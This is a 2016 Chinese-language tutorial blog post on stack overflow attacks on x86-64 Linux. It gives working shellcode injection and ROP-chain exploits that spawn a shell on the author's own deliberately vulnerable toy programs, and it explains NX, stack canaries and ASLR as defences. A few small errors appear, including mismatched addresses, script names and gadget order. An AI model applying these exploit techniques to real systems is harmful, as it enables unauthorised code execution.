栈溢出攻击及防护方法简介

Security · 2016-01-22

如果你学的第一门程序语言是 C 语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入 -> 处理 -> 输出” 流程的程序:

#include <stdio.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

也许这段小程序给你带来了小小的成就感,也许直到课程结束也没人说这个程序有什么不对,也许你的老师在第一时间就指出这段代码存在 栈溢出 的漏洞,也许你后来又看到无数的文章指出这个问题同时强调千万要慎用 scanf 函数,也许你还知道 stackoverflow 是最好的程序员网站。。。

但可能从来没有人告诉你,什么是栈溢出、栈溢出有什么危害、黑客们可以利用栈溢出来进行什么样的攻击,还有你最想知道的,他们是如何利用栈溢出来实现攻击的,以及如何防护他们的攻击。

本文将为你解答这些问题。

1. 准备工具及知识

你需要准备以下工具:

本文中所有代码均在 Debian8.1(amd64) 、 gcc4.9.2 、 gdb7.7.1 和 nasm2.11.05 以下运行通过,如果你使用的版本不同,编译选项和代码中的有关数值可能需要根据实际情况略作修改。

你需要具备以下基础知识:

考虑到大部分学校里面使用的 x86 汇编教材都是 32 位、 windows 平台下的,这里简单介绍一下 64 位 Linux 平台下的汇编的不同之处(如果你已熟悉 Linux 下的 X86-64 汇编,那你可以跳过以下内容,直接阅读第 2 节):

第一个不同之处在于寄存器, 64 位的通用寄存器有 rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, rip ,对应32位的 eax, ebx, ecx, edx, esi, edi, ebp, esp, eip ,另外 64 位 cpu 中增加了 r8, r9, r10, r11, r12, r13, r14, r15 寄存器。

第二个不同之处在于函数的调用约定, x86-32 位架构下的函数调用一般通过栈来传递参数,而 x86-64 架构下的函数调用的一般用 rdi, rsi, rdx, rcx, r8 和 r9 寄存器依次保存前6个整数型参数,浮点型参数保存在寄存器 xmm0, xmm1... 中,有更多的参数才通过栈来传递参数。

第三个不同之处在于 Linux 系统特有的系统调用方式, Linux 提供了许多很方便的系统调用(如 write , read , open , fork , exec 等),通过 syscall 指令调用,由 rax 指定需要调用的系统调用编号,由 rdi, rsi, rdx, r10, r9 和 r8 寄存器传递系统调用需要的参数。 Linux(x64) 系统调用表详见 linux system call table for x86-64

Linux(x64) 下的 Hello world 汇编程序如下:

[section .text]
    global _start

_start:
    mov rax, 1          ; the system call for write ("1" for sys_write)
    mov rdi, 1          ; file descriptor ("1" for standard output)
    mov rsi, Msg        ; string's address  
    mov rdx, 12         ; string's length
    syscall

    mov rax, 0x3c       ; the system call for exit("0x3c" for sys_exit)
    mov rdi, 0          ; exit code
    syscall

Msg:
    DB "Hello world!"

将以上代码另存为 hello-x64.asm ,再在终端输入以下命令:

$ nasm -f elf64 hello-x64.asm
$ ld -s -o hello-x64 hello-x64.o
$ ./hello-x64
Hello world!

将编译生成可执行文件 hello-x64 ,并在终端输出 Hello world! 。

另外,本文所有汇编都是用 intel 格式写的,为了使 gdb 显示 intel 格式的汇编指令,需在 home 目录下新建一个 .gdbinit 的文件,输入以下内容并保存:

set disassembly-flavor intel
set disassemble-next-line on
display

2. 经典的栈溢出攻击

现在回到最开始的这段程序:

#include <stdio.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

将其另存为 victim.c ,用 gcc 编译并运行:

$ gcc victim.c -o victim -zexecstack -g
$ ./victim 
What's your name?Jack
Hello, Jack!

上面的编译选项中 -g 表示输出调试信息, -zexecstack 的作用后面再说。先来仔细分析一下源程序,这段程序声明了一个长度为 64 的字节型数组,然后打印提示信息,再读取用户输入的名字,最后输出 Hello 和用户输入的名字。代码似乎没什么问题, name 数组 64 个字节应该是够了吧?毕竟没人的姓名会有 64 个字母,毕竟我们的内存空间也是有限的。但是,往坏处想一想,没人能阻止用户在终端输入 100 甚至 1000 个的字符,当那种情况发生时,会发生什么事情? name 数组只有 64 个字节的空间,那些多余的字符呢,会到哪里去?

为了回答这两个问题,需要了解程序运行时 name 数组是如何保存在内存中的,这是一个局部变量,显然应该保存在栈上,那栈上的布局又是怎样的?让我们来分析一下程序中的汇编指令吧,先将目标程序的汇编码输出到 victim.asm 文件中,命令如下:

objdump -d victim -M intel > victim.asm

然后打开 victim.asm 文件,找到其中的 main 函数的代码:

0000000000400576 <main>:
  400576:   55                      push   rbp
  400577:   48 89 e5                mov    rbp,rsp
  40057a:   48 83 ec 40             sub    rsp,0x40
  40057e:   bf 44 06 40 00          mov    edi,0x400644
  400583:   b8 00 00 00 00          mov    eax,0x0
  400588:   e8 b3 fe ff ff          call   400440 <printf@plt>
  40058d:   48 8d 45 c0             lea    rax,[rbp-0x40]
  400591:   48 89 c6                mov    rsi,rax
  400594:   bf 56 06 40 00          mov    edi,0x400656
  400599:   b8 00 00 00 00          mov    eax,0x0
  40059e:   e8 cd fe ff ff          call   400470 <__isoc99_scanf@plt>
  4005a3:   48 8d 45 c0             lea    rax,[rbp-0x40]
  4005a7:   48 89 c6                mov    rsi,rax
  4005aa:   bf 59 06 40 00          mov    edi,0x400659
  4005af:   b8 00 00 00 00          mov    eax,0x0
  4005b4:   e8 87 fe ff ff          call   400440 <printf@plt>
  4005b9:   b8 00 00 00 00          mov    eax,0x0
  4005be:   c9                      leaved
  4005bf:   c3                      ret

可以看出, main 函数的开头和结尾和 32 位汇编中的函数几乎一样。该函数的开头的 push rbp; mov rbp, rsp; sub rsp, 0x40 ,先保存 rbp 的数值,再令 rbp 等于 rsp ,然后将栈顶指针 rsp 减小 0x40 (也就是 64 ),相当于在栈上分配长度为 64 的空间, main 函数中只有 name 一个局部变量,显然这段空间就是 name 数组,即 name 的起始地址为 rbp-0x40 。再结合函数结尾的 leave; ret ,同时类比一下 32 位汇编中的函数栈帧布局,可以画出本程序中 main 函数的栈帧布局如下(请注意下图是按栈顶在上、栈底在下的方式画的):

                     Stack
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
 name(-0x40)--> +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
  rbp(+0x00)--> +-------------+
                |   old rbp   |
     (+0x08)--> +-------------+ <--rsp points here just before `ret`
                |   ret rip   |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+

rbp 即函数的栈帧基指针,在main函数中, name 数组保存在 rbp-0x40~rbp+0x00 之间, rbp+0x00 处保存的是 上一个函数的 rbp 数值rbp+0x08 处保存了 main 函数的返回地址 。当main函数执行完 leave 命令,执行到 ret 命令时:上一个函数的 rbp 数值已重新取回至 rbp 寄存器,栈顶指针 rsp 已经指向了保存这个返回地址的单元。之后的 ret 命令会将此地址出栈,然后跳到此地址。

现在可以回答刚才那个问题了,如果用户输入了很多很多字符,会发生什么事情。此时 scanf 函数会读取第一个空格字符之前的所有字符,然后全部拷贝到 name 指向的地址处。若用户输入了 100 个 “A” 再回车,则栈会是下面这个样子:

                     Stack
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
 name(-0x40)--> +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
  rbp(+0x00)--> +-------------+
                |   AAAAAAAA  | (should be "old rbp")
     (+0x08)--> +-------------+ <--rsp points here just before `ret`
                |   AAAAAAAA  | (should be "ret rip")
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |     ...     |
                +-------------+

也就是说,上一个函数的 rbp 数值以及 main 函数的返回地址 全部都被改写了,当执行完 ret 命令后, cpu 将跳到 0x4141414141414141 ('AAAAAAAA') 地址处,开始执行此地址的指令。

在 Linux 系统中, 0x4141414141414141 是一个非法地址,因此程序会出错并退出。但是,如果用户输入了精心挑选的字符后,覆盖在这里的数值是一个合法的地址呢?如果这个地址上恰好保存了用户想要执行的恶意的指令呢?会发生什么事情?

以上就是 栈溢出 的本质,如果程序在接受用户输入的时候不对 下标越界 进行检查,直接将其保存到栈上,用户就有可能利用这个漏洞,输入 足够多的、精心挑选的字符 ,改写函数的 返回地址 (也可以是 jmp 、 call 指令的 跳转地址 ),由此获取 对 cpu 的控制 ,从而执行任何他想执行的动作。

下面介绍最经典的栈溢出攻击方法:将想要执行的指令机器码写到 name 数组中,然后改写函数返回地址为 name 的起始地址,这样 ret 命令执行后将会跳转到 name 起始地址,开始执行 name 数组中的机器码。

我们将用这种方法执行一段简单的程序,该程序仅仅是在终端打印 “Hack!” 然后正常退出。

首先要知道 name 的起始地址,打开 gdb ,对 victim 进行调试,输入 gdb -q ./victim ,再输入 break *main 在 main 函数的开头下一个断点,再输入 run 命令开始运行,如下:

$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) break *main
Breakpoint 1 at 0x400576: file victim.c, line 3.
(gdb) run
Starting program: /home/hcj/blog/rop/ch02/victim 

Breakpoint 1, main () at victim.c:3
3   int main() {
=> 0x0000000000400576 <main+0>: 55  push   rbp
   0x0000000000400577 <main+1>: 48 89 e5    mov    rbp,rsp
   0x000000000040057a <main+4>: 48 83 ec 40 sub    rsp,0x40
(gdb) 

此时程序停留在 main 函数的第一条指令处,输入 p &name[0]x/gx $rsp 分别查看 name 的起始指针和此时的栈顶指针 rsp 。

(gdb) p &name[0]
$1 = 0x7fffffffe100 "\001"
(gdb) x/gx $rsp
0x7fffffffe148: 0x00007ffff7a54b45
(gdb) 

得到 name 的起始指针为 0x7fffffffe100 、此时的栈顶指针 rsp 为 0x7fffffffe148 , name 到 rsp 之间一共 0x48 (也就是 72 )个字节,这和之前的分析是一致的。

下面来写攻击指令的机器码,首先写出汇编代码:

[section .text]
        global _start

_start:
        jmp END
BEGIN:
        mov rax, 1
        mov rdi, 1
        pop rsi
        mov rdx, 5
        syscall

        mov rax, 0x3c
        mov rdi, 0
        syscall
END:
        call BEGIN
        DB "Hack!"

这段程序和第一节的 Hello-x64 基本一样,不同之处在于巧妙的利用了 call BEGIN和pop rsi 获得了字符串 “Hack” 的地址、并保存到 rsi 中。将以上代码保存为 shell.asm ,编译运行一下:

$ nasm -f elf64 shell.asm
$ ld -s -o shell shell.o
$ ./shell
Hack!

然后用 objdump 程序提取出机器码:

$ objdump -d shell -M intel
...
0000000000400080 <.text>:
  400080:   eb 1e                   jmp    0x4000a0
  400082:   b8 01 00 00 00          mov    eax,0x1
  400087:   bf 01 00 00 00          mov    edi,0x1
  40008c:   5e                      pop    rsi
  40008d:   ba 05 00 00 00          mov    edx,0x5
  400092:   0f 05                   syscall 
  400094:   b8 3c 00 00 00          mov    eax,0x3c
  400099:   bf 00 00 00 00          mov    edi,0x0
  40009e:   0f 05                   syscall 
  4000a0:   e8 dd ff ff ff          call   0x400082
  4000a5:   48 61                   rex.W (bad) 
  4000a7:   63 6b 21                movsxd ebp,DWORD PTR [rbx+0x21]

以上机器码一共 42 个字节, name 到 ret rip 之间一共 72 个字节,因此还需要补 30 个字节,最后填上 name 的起始地址 0x7fffffffe100 。 main 函数执行到 ret 命令时,栈上的数据应该是下面这个样子的(注意最后的 name 起始地址需要按 小端顺序 保存):

                                        Stack
 name(0x7fffffffe100)--> +---------------------------------+ <---+
                         |  eb 1e           (jmp END)      |     |
                BEGIN--> +---------------------------------+     |
                         |  b8 01 00 00 00  (mov eax,0x1)  |     |
                         +---------------------------------+     |
                         |  bf 01 00 00 00  (mov edi,0x1)  |     |
                         +---------------------------------+     |
                         |  5e              (pop rsi)      |     |
                         +---------------------------------+     |
                         |  ba 05 00 00 00  (mov edx,0x5)  |     |
                         +---------------------------------+     |
                         |  0f 05           (syscall)      |     |
                         +---------------------------------+     |
                         |  b8 3c 00 00 00  (mov eax,0x3c) |     |
                         +---------------------------------+     |
                         |  bf 00 00 00 00  (mov edi,0x0)  |     |
                         +---------------------------------+     |
                         |  0f 05           (syscall)      |     |
                   END-> +---------------------------------+     |
                         |  e8 dd ff ff ff  (call BEGIN)   |     |
                         +---------------------------------+     |
                         |  48 61 63 6b 21  ("Hack!")      |     |
     (0x7fffffffe12a)--> +---------------------------------+     |
                         |  "\x00"*30                      |     |
  rsp(0x7fffffffe148)--> +---------------------------------+     |
                         |  00 e1 ff ff ff 7f 00 00        | ----+
                         +---------------------------------+

上图中的栈上的所有字节码就是我们需要输入给 scanf 函数的字符串,这个字符串一般称为 shellcode 。由于这段 shellcode 中有很多无法通过键盘输入的字节码,因此用 python 将其打印至文件中:

$ python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode

现在可以对 victim 进行攻击了,不过目前只能在 gdb 的调试环境下进行攻击。输入 gdb -q ./victim ,再输入 run < shellcode

$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) run < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim < shellcode
What's your name?Hello, ��!
Hack![Inferior 1 (process 2711) exited normally]
(gdb) 

可以看到 shellcode 已经顺利的被执行,栈溢出攻击成功。

编写 shellcode 需要注意两个事情:(1)为了使 shellcode 被 scanf 函数全部读取, shellcode 中不能含有空格字符(包括空格、回车、Tab键等),也就是说不能含有 \x10、\x0a、\x0b、\x0c、\x20 等这些字节码,否则 shellcode 将会被 截断 。如果被攻击的程序使用 gets、strcpy 这些字符串拷贝函数,那么 shellcode 中不能含有 \x00 。(2)由于 shellcode 被加载到栈上的位置不是固定的,因此要求 shellcode 被加载到任意位置都能执行,也就是说 shellcode 中要使用 相对寻址

3. 栈溢出攻击的防护

为了防止栈溢出攻击,最直接和最根本的办法当然是写出严谨的代码,剔除任何可能发生栈溢出的代码。这是程序员的责任。而另一方面,当程序代码中确实存在栈溢出漏洞时,操作系统和编译器有一些防护措施来防止栈溢出攻击,主要有以下措施。

(1) 栈不可执行机制

操作系统可以利用 cpu 的硬件特性,将栈设置为不可执行的,这样上一节所述的将攻击代码放在栈上的攻击方法就无法实施了。上一节中 gcc victim.c -o victim -zexecstack -g ,其中的 -zexecstack 选项就是告诉操作系统允许本程序的栈可执行。去掉此选项再编译一次试试看:

$ gcc victim.c -o victim_nx -g
$ gdb -q ./victim_nx
Reading symbols from ./victim_nx...done.
(gdb) r < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim_nx < shellcode
What's your name?Hello, ��!

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe100 in ?? ()
=> 0x00007fffffffe100:  eb 1e   jmp    0x7fffffffe120
(gdb) 

可以看到当程序跳转到 name 的起始地址 0x00007fffffffe100 后,尝试执行此处的指令的时候发生了一个 Segmentation fault ,之后就中止运行了。

目前来说大部分程序都没有在栈上执行代码的需求,因此将栈设置为不可执行对大部分程序的正常运行都没有任何影响。目前的Linux-x64平台上默认是打开栈不可执行机制的。

(2) 栈保护机制

以 gcc 编译器为例,编译时若打开栈保护开关,则会在函数的进入和返回的地方增加一些检测指令,这些指令的作用是:当进入函数时,在栈上、 ret rip 之前保存一个只有操作系统知道的数值;当函数返回时,检查栈上这个地方的数值有没有被改写,若被改写了,则中止程序运行。由于这个数值保存在 ret rip 的前面,因此若 ret rip 被改写了,它肯定也会被改写。这个数值被形象的称为 金丝雀 。让我们打开栈保护开关重新编译一下 victim.c :

$ gcc victim.c -o victim_fsp -g -fstack-protector
$ objdump -d victim_fsp -M intel > victim_fsp.asm

打开 victim_fsp.asm 找到 main 函数,如下:

00000000004005d6 <main>:
  4005d6:   55                      push   rbp
  4005d7:   48 89 e5                mov    rbp,rsp
  4005da:   48 83 ec 50             sub    rsp,0x50
  
  4005de:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4005e5:   00 00 
  4005e7:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  
...

  40062d:   48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  400631:   64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
  400638:   00 00 
  40063a:   74 05                   je     400641 <main+0x6b>
  40063c:   e8 4f fe ff ff          call   400490 <__stack_chk_fail@plt>
  400641:   c9                      leave
  400642:   c3                      ret

可以看到函数的开头增加了 mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax ,函数退出之前增加了 mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 <main+0x6b>; call 400490 <__stack_chk_fail @ plt> 这样的检测代码。

栈保护机制的缺点一个是开销太大,每个函数都要增加 5 条指令,第二个是只能保护函数的返回地址,无法保护 jmp、call 指令的跳转地址。在 gcc4.9 版本中默认是关闭栈保护机制的。

(3) 内存布局随机化机制

内存布局随机化就是将程序的加载位置、堆栈位置以及动态链接库的映射位置随机化,这样攻击者就无法知道程序的运行代码和堆栈上变量的地址。以上一节的攻击方法为例,如果程序的堆栈位置是随机的,那么攻击者就无法知道 name 数组的起始地址,也就无法将 main 函数的返回地址改写为 shellcode 中攻击指令的起始地址从而实施他的攻击了。

内存布局随机化需要操作系统和编译器的密切配合,而全局的随机化是非常难实现的。堆栈位置随机化和动态链接库映射位置随机化的实现的代价比较小, Linux 系统一般都是默认开启的。而程序加载位置随机化则要求编译器生成的代码被加载到任意位置都可以正常运行,在 Linux 系统下,会引起较大的性能开销,因此 Linux 系统下一般的用户程序都是加载到固定位置运行的。

在 Debian8.1 和 gcc4.9.2 环境下实验,代码如下:

#include <stdio.h>

char g_name[64];

void *get_rip()
{
    asm("\n\
.intel_syntax noprefix\n\
        mov rax, [rbp+8]\n\
.att_syntax\n\
    ");
}

int main()
{
    char name[64];
    printf("Address of `g_name` (Global variable): %x\n", g_name);
    printf("Address of `name` (Local variable): %x\n", name);
    printf("Address of `main` (User code): %x\n", main);
    printf("Value of rip: %x\n", get_rip());
    return 0;
}

将以上代码另存为 aslr_test.c ,编译并运行几次,如下:

$ gcc -o aslr_test aslr_test.c
$ ./aslr_test 
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): d3933580
Address of `main` (User code): 400510
Value of rip: 400560
$ ./aslr_test 
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): 512cd150
Address of `main` (User code): 400510
Value of rip: 400560

可见每次运行,只有局部变量的地址是变化的,全局变量的地址、main 函数的地址以及某条指令运行时刻的实际 rip 数值都是不变,因此程序是被加载到固定位置运行,但堆栈位置是随机的。

动态链接库的映射位置可以用 ldd 命令查看,如下:

$ ldd aslr_test
    linux-vdso.so.1 (0x00007ffe1dd9d000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26b7e71000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f26b821a000)
$ ldd aslr_test
    linux-vdso.so.1 (0x00007ffc6a771000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ec92c0000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f4ec9669000)

可见每次运行,这三个动态链接库映射到进程 aslr_test 中的位置都是变化的。

4. ROP 攻击

在操作系统和编译器的保护下,程序的栈是不可运行的、栈的位置是随机的,增大了栈溢出攻击的难度。但如果程序的加载位置是固定的、或者程序中存在加载到固定位置的可执行代码,攻击者就可以利用这些固定位置上的代码来实施他的攻击。

考虑下面的代码,其中含有一个 borrowed 函数,作用是打开一个 shell 终端。

#include <stdio.h>
#include <unistd.h>

void borrowed() {
    execl("/bin/sh", NULL, NULL);
}

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

将以上代码另存为 victim.c 编译,并提取汇编码到 victim.asm 中,如下:

$ gcc -o victim victim.c
$ objdump -d victim -M intel > victim.asm

打开 victim.asm 可以查到 borrowed 函数的地址为 0x4050b6 。因此,若攻击者利用栈溢出将 main 函数的返回地址改写为 0x4050b6 ,则 main 函数返回时会转到 borrowed 函数运行,打开一个 shell 终端,后面就可以利用终端干很多事情了。现在来试一试吧:

$ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' > shellcode
$ cat shellcode - | ./victim 
What's your name?Hello, !
ls
shellcode  victim  victim.asm  victim.c
mkdir xxx
ls
shellcode  victim  victim.asm  victim.c  xxx
rmdir xxx
ls
shellcode  victim  victim.asm  victim.c

可以看出终端被成功的打开了,并运行了 ls、mkdir、rmdir 命令。

注意以上攻击命令中 cat shellcode - | ./victim 的 "-" 是不能省略的,否则终端打开后就会立即关闭。

这个例子表明,攻击者可以利用程序自身的代码来实施攻击,从而绕开栈不可执行和栈位置随机化的防护。这个程序是一个特意构造的例子,实际的程序中当然不太可能埋一个 borrowed 函数这样的 炸弹 来等着人来引爆。但是,攻击者可以利用程序自身的、没有任何恶意的 代码片段 来组装出这样的 炸弹 来,这就是 ROP 攻击

ROP 攻击全称为 Return-oriented programming ,在这种攻击中,攻击者先搜索出程序自身中存在的 跳板指令(gadgets) ,然后将一些跳板指令串起来,组装成一段完整的攻击程序。

跳板指令就是以 ret 结尾的指令(也可以是以 jmp、call 结尾的指令),如 mov rax, 1; ret | pop rax; ret 。那如何将跳板指令串起来?

假如程序中在 0x1234 | 0x5678 | 0x9abc 地址处分别存在三段跳板指令 mov rax, 10; ret | mov rbx, 20; ret | add rax, rbx; ret ,且当前的 rip 指向的指令是 ret ,如果将 0x1234 | 0x5678 | 0x9abc 三个地址的数值放到栈上,如下:

                    Stack                      Code
  rsp(+0x00)-->+-------------+            +-------------+<--rip
               |   0x1234    |--------+   |     ret     |
     (+0x08)-->+-------------+        |   +-------------+
               |   0x5678    |-----+  |   |     ...     |
     (+0x10)-->+-------------+     |  +-->+-------------+<--0x1234
               |   0x9abc    |--+  |      | mov rax, 10 |
               +-------------+  |  |      +-------------+
               |     ...     |  |  |      |     ret     |
               +-------------+  |  |      +-------------+
               |     ...     |  |  |      |     ...     |
               +-------------+  |  +----->+-------------+<--0x5678
               |     ...     |  |         | mov rbx, 20 |
               +-------------+  |         +-------------+
               |     ...     |  |         |     ret     |
               +-------------+  |         +-------------+
               |     ...     |  |         |     ...     |
               +-------------+  +-------->+-------------+<--0x9abc
               |     ...     |            | add rax,rbx |
               +-------------+            +-------------+
               |     ...     |            |     ret     |
               +-------------+            +-------------+
Equivalent codes:
        mov rax, 10
        mov rbx, 20
        add rax, rbx

则执行完 ret 指令后,程序将跳转到 0x1234 ,执行此处的指令 mov rax, 10; ret ,后面这个 ret 指令又将跳转到 0x5678 ,执行 mov rbx, 20; ret ,之后再跳转到 0x9abc ,执行 add rax, rbx ,整个流程好像在顺序执行 mov rax, 10; mov rbx, 20; add rax, rbx 一样。

可见只要将这些以 ret 指令结尾的 gadgets 的地址放在栈上合适的位置,这些 ret 指令就会按指定的顺序一步步的在这些 gadgets 之间跳跃。

再看一个稍微复杂的例子:

                    Stack                   Code
  rsp(+0x00)-->+-------------+         +-------------+<--rip
               |    addr1    |-----+   |     ret     |
     (+0x08)-->+-------------+     |   +-------------+
               |    0x3b     |     |   |     ...     |
               +-------------+     +-->+-------------+<--addr1
               |    addr2    |--+      |   pop rax   |
               +-------------+  |      +-------------+
               |     ...     |  |      |     ret     |
               +-------------+  |      +-------------+
               |     ...     |  |      |     ...     |
               +-------------+  +----->+-------------+<--addr2
               |     ...     |         |  next inst  |
               +-------------+         +-------------+
               |     ...     |         |     ret     |
               +-------------+         +-------------+
Equivalent codes:
        mov rax, 0x3b

这个例子中,跳板指令是 pop rax; ret ,执行完后,栈上的 0x3b 将 pop 到 rax 中,因此这种型式的跳板指令可以实现对寄存器的赋值。

而 add rsp, 10h; ret 型式的跳板指令可以模拟流程跳转,如下:

                    Stack                       Code
  rsp(+0x00)-->+-------------+               +-------------+<--rip
               |    addr1    |-----------+   |     ret     |
     (+0x08)-->+-------------+           |   +-------------+
               |    addr2    |--------+  |   |     ...     |
               +-------------+        |  +-->+-------------+<--addr1
               |    addr3    |-----+  |      | add rsp,10h |
               +-------------+     |  |      +-------------+
               |    addr4    |--+  |  |      |     ret     |
               +-------------+  |  |  |      +-------------+
               |     ...     |  |  |  |      |     ...     |
               +-------------+  |  |  +----->+-------------+<--addr2
               |     ...     |  |  |         |    inst2    |
               +-------------+  |  |         +-------------+
               |     ...     |  |  |         |     ret     |
               +-------------+  |  |         +-------------+
               |     ...     |  |  |         |     ...     |
               +-------------+  |  +-------->+-------------+<--addr3
               |     ...     |  |            |    inst3    |
               +-------------+  |            +-------------+
               |     ...     |  |            |     ret     |
               +-------------+  |            +-------------+
               |     ...     |  |            |     ...     |
               +-------------+  +----------->+-------------+<--addr4
               |     ...     |               |    inst4    |
               +-------------+               +-------------+
               |     ...     |               |     ret     |
               +-------------+               +-------------+
Equivalent codes:
        jmp there
        inst2
        inst3
there:  inst4

条件跳转甚至函数调用都可以用精心构造出的 “gadgets链” 来模拟。只要找出一些基本的 gadgets ,就可以使用这些 gadgets 来组装出复杂的攻击程序。而只要被攻击程序的代码量有一定的规模,就不难在这个程序的代码段中搜索出足够多的 gadgets (注意目标程序的代码中不需要真正有这样的指令,只需要恰好有这样的指令的机器码,例如如果需要用到跳板指令 pop rax; ret ,只需要目标程序的代码段中含有字节码串 58 C3 就可以了)。

下面以实例来展示一下 ROP 攻击的强大,在这个例子中,将利用 gadgets 组装出程序,执行 exec 系统调用打开一个 shell 终端。

用 exec 系统调用打开一个 shell 终端需要的参数和指令如下:

        mov rax, 0x3b   ; system call number, 0x3b for sys_exec
        mov rdi, PROG   ; char *prog (program path)
        mov rsi, 0      ; char **agcv
        mov rdx, 0      ; char **env
        syscall
PROG:   DB "/bin/sh", 0

其中 rax 为系统调用编号,rdi 为字符串指针、指向可执行程序的完整路径,rsi 和 rdx 都是字符串指针数组,保存了参数列表和环境变量,在此处可以直接置为 0 。

为了增大被攻击程序的体积,以搜索到尽可能多的 gadgets ,在原来的代码中增加一个 random 函数 ,同时用静态链接的方式重新编译一下 victim.c :

$ cat victim.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s%ld!\n", name, random());
    return 0;
}
$ gcc -o victim victim.c -static

手工搜索目标程序中的 gadgets 显然是不现实的,采用 JonathanSalwan 编写的 ROPgadget 搜索,网址在这里:https://github.com/JonathanSalwan/ROPgadget ,可以使用 pip 安装:

$ su
$ apt-get install python-pip
$ pip install capstone
$ pip install ropgadget
$ exit

安装完成后,可以使用下面的命令来搜索 gadgets :

$ ROPgadget --binary ./victim --only "pop|ret"

搜索到程序中存在的跳板指令只是第一步。接下来需要挑选并组装 gadgets ,过程非常繁琐、复杂,不再叙述了。总之,经过多次尝试,最后找到了以下 gadgets :

0x00000000004003f2 : pop r12 ; ret
0x00000000004018ed : pop r12 ; pop r13 ; ret
0x0000000000487318 : mov rdi, rsp ; call r12
0x0000000000431b3d : pop rax ; ret
0x00000000004333d9 : pop rdx ; pop rsi ; ret
0x000000000043d371 : syscall

按下图的方式拼装 gadgets ,图中的 ‘+’ 号旁边的数字 0、1、2、...、13 表示攻击程序执行过程中 rip 和 rsp 的移动顺序。

               Stack                                          Code
name-->+--------------------+                           +--------------+0<--rip
       | "\x00"*72          |                           | ret          |
rsp-->0+--------------------+                           +--------------+
       | 0x00000000004003f2 |-----------------------+   | ...          |
      1+--------------------+                       +-->+--------------+1
       | 0x00000000004018ed |---------------------+     | pop r12      |
    2,5+--------------------+                     |     +--------------+2
       | 0x0000000000487318 |------------------+  |     | ret          |
  3,4,6+--------------------+                  |  |     +--------------+
       | "/bin/sh\x00"      |                  |  |     | ...          |
      7+--------------------+                  |  +---->+--------------+5
       | 0x0000000000431b3d |--------------+   |        | pop r12      |
      8+--------------------+              |   |        +--------------+6
       | 0x000000000000003b |              |   |        | pop r13      |
      9+--------------------+              |   |        +--------------+7
       | 0x00000000004333d9 |-----------+  |   |        | ret          |
     10+--------------------+           |  |   |        +--------------+
       | 0x0000000000000000 |           |  |   |        | ...          |
     11+--------------------+           |  |   +------->+--------------+3
       | 0x0000000000000000 |           |  |            | mov rdi, rsp |
     12+--------------------+           |  |            +--------------+4
       | 0x000000000043d371 |-------+   |  |            | call r12     |
     13+--------------------+       |   |  |            +--------------+
                                    |   |  |            | ...          |
                                    |   |  +----------->+--------------+8
                                    |   |               | pop rax      |
                                    |   |               +--------------+9
                                    |   |               | ret          |
                                    |   |               +--------------+
                                    |   |               | ...          |
                                    |   +-------------->+--------------+10
                                    |                   | pop rsi      |
                                    |                   +--------------+11
                                    |                   | pop rdx      |
                                    |                   +--------------+12
                                    |                   | ret          |
                                    |                   +--------------+
                                    |                   | ...          |
                                    +------------------>+--------------+13
                                                        | syscall      |
                                                        +--------------+

为了将大端顺序的地址数值转换为小端顺序的字符串,编写了一个 python 程序 gen_shellcode.py 来生成最终的 shellcode :

>>> s= long2bytes(0x5c4)
>>> s
'\xc4\x05\x00\x00\x00\x00\x00\x00'
def long2bytes(x):
    ss = [""] * 8
    for i in range(8):
        ss[i] = chr(x & 0xff)
        x >>= 8
    return "".join(ss)

print "\x00"*72 + \
    long2bytes(0x4003f2) + \
    long2bytes(0x4018ed) + \
    long2bytes(0x487318) + \
    "/bin/sh\x00" + \
    long2bytes(0x431b3d) + \
    long2bytes(0x00003b) + \
    long2bytes(0x4333d9) + \
    long2bytes(0x000000) + \
    long2bytes(0x000000) + \
    long2bytes(0x43d371)

现在可以实施攻击了:

$ python gen-shellcode.py > shellcode
$ cat shellcode - | ./victim
What's your name?Hello, 1804289383!
ls
gen-shellcode.py  shellcode  victim  victim.c
mkdir xxx
ls
gen-shellcode.py  shellcode  victim  victim.c xxx

可以看出终端被成功打开,ls 和 mkdir 命令都可以运行。

5. 致谢

